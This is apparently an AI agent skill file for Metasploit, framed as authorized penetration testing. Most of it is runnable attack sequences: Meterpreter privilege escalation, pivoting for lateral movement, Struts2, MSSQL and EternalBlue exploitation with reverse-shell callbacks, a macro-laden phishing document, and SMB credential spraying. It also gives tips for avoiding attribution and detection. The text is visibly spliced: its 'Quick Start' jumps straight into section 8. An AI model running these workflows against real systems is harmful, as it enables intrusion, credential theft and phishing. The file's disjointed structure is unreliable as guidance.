Penetration testing framework for exploit development, vulnerability validation, and authorized security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in authorized security assessments, (2) Demonstrating exploit impact for security research, (3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration tests with proper scoping and authorization, (5) Developing post-exploitation workflows for red team operations.
Instrucciones de origen · Vista previa de solo lectura
name
pentest-metasploit
description
Penetration testing framework for exploit development, vulnerability validation, and authorized security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in authorized security assessments, (2) Demonstrating exploit impact for security research, (3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration tests with proper scoping and authorization, (5) Developing post-exploitation workflows for red team operations.
Metasploit Framework is the industry-standard platform for penetration testing, vulnerability validation, and exploit development. This skill provides structured workflows for authorized offensive security operations including exploitation, post-exploitation, and payload delivery.
IMPORTANT: This skill is for AUTHORIZED security testing only. Always ensure proper authorization, scoping documents, and legal compliance before conducting penetration testing activities.
Quick Start
Initialize Metasploit console and verify database connectivity:
# Identify escalation vectors
meterpreter > run post/multi/recon/local_exploit_suggester
# Migrate to stable process
meterpreter > ps
meterpreter > migrate <stable-process-pid>
# Attempt privilege escalation
meterpreter > getsystem
meterpreter > getuid
Manual privilege escalation workflow:
Background current session: background
Select escalation module: use exploit/windows/local/<escalation-module>
Set session: set SESSION <session-id>
Run exploit: exploit
8. Lateral Movement
For authorized internal penetration tests:
# Enumerate network
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<internal-subnet>
meterpreter > run auxiliary/scanner/smb/smb_version
# Pivot through compromised host
meterpreter > run autoroute -s <internal-subnet>/24
# Use compromised host as proxy
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j
Configure proxychains for pivoting:
# Edit /etc/proxychains4.conf
socks4 127.0.0.1 1080
# Run tools through pivot
proxychains nmap -sT -Pn <internal-target>
Security Considerations
Authorization & Legal Compliance
Written Authorization: Maintain signed penetration testing agreement
Scope Adherence: Only test explicitly authorized systems and networks
Data Protection: Handle discovered data per engagement rules of engagement
Incident Response: Immediately report critical findings per escalation procedures
Evidence Handling: Maintain chain of custody for forensic evidence
Operational Security
Callback Infrastructure: Use dedicated, authorized callback servers
Attribution Prevention: Avoid personal infrastructure or identifiable indicators
Traffic Encryption: Use encrypted payloads (HTTPS, DNS tunneling)
Session Management: Close sessions cleanly to avoid detection alerts
Audit Logging
Log all penetration testing activities:
Timestamp of exploitation attempts
Source and destination systems
Exploit modules and payloads used
Commands executed in sessions
Data accessed or exfiltrated
Privilege escalation attempts
Lateral movement actions
Compliance
PTES: Penetration Testing Execution Standard compliance
OWASP: Alignment with application security testing methodology
MITRE ATT&CK: Map TTPs to ATT&CK framework for threat modeling
PCI-DSS 11.3: Penetration testing for payment card environments
SOC2: Security testing for service organization controls
Common Patterns
Pattern 1: Web Application Exploitation
msf6 > use exploit/multi/http/apache_struts2_content_type_ognl
msf6 exploit(...) > set RHOSTS <web-server>
msf6 exploit(...) > set TARGETURI /vulnerable-app
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(...) > exploit
Pattern 2: Database Server Exploitation
# SQL Server exploitation
msf6 > use exploit/windows/mssql/mssql_payload
msf6 exploit(mssql_payload) > set RHOSTS <sql-server>
msf6 exploit(mssql_payload) > set USERNAME sa
msf6 exploit(mssql_payload) > set PASSWORD <password>
msf6 exploit(mssql_payload) > exploit
Pattern 3: Phishing Campaign Delivery
# Generate malicious document
msf6 > use exploit/windows/fileformat/office_word_macro
msf6 exploit(office_word_macro) > set FILENAME report.docm
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(office_word_macro) > set LHOST <callback-server>
msf6 exploit(office_word_macro) > exploit
# Set up listener
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST <callback-server>
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > exploit -j
Pattern 4: Credential Spraying
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass <common-password>
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/smb/smb_login) > run
Integration Points
CI/CD Integration
Automated vulnerability validation in security pipelines:
# Headless Metasploit resource scriptcat > exploit_validation.rc <<EOF
workspace -a ci-validation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS \${TARGET_IP}
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST \${CALLBACK_IP}
exploit -z
exit
EOF# Run headless validation
msfconsole -r exploit_validation.rc -o validation_results.txt
Security Tools Integration
Nmap Integration: Import reconnaissance data with db_import
Cobalt Strike: Export sessions to Cobalt Strike beacons
Empire: Handoff sessions to PowerShell Empire framework
BloodHound: Combine with Active Directory enumeration
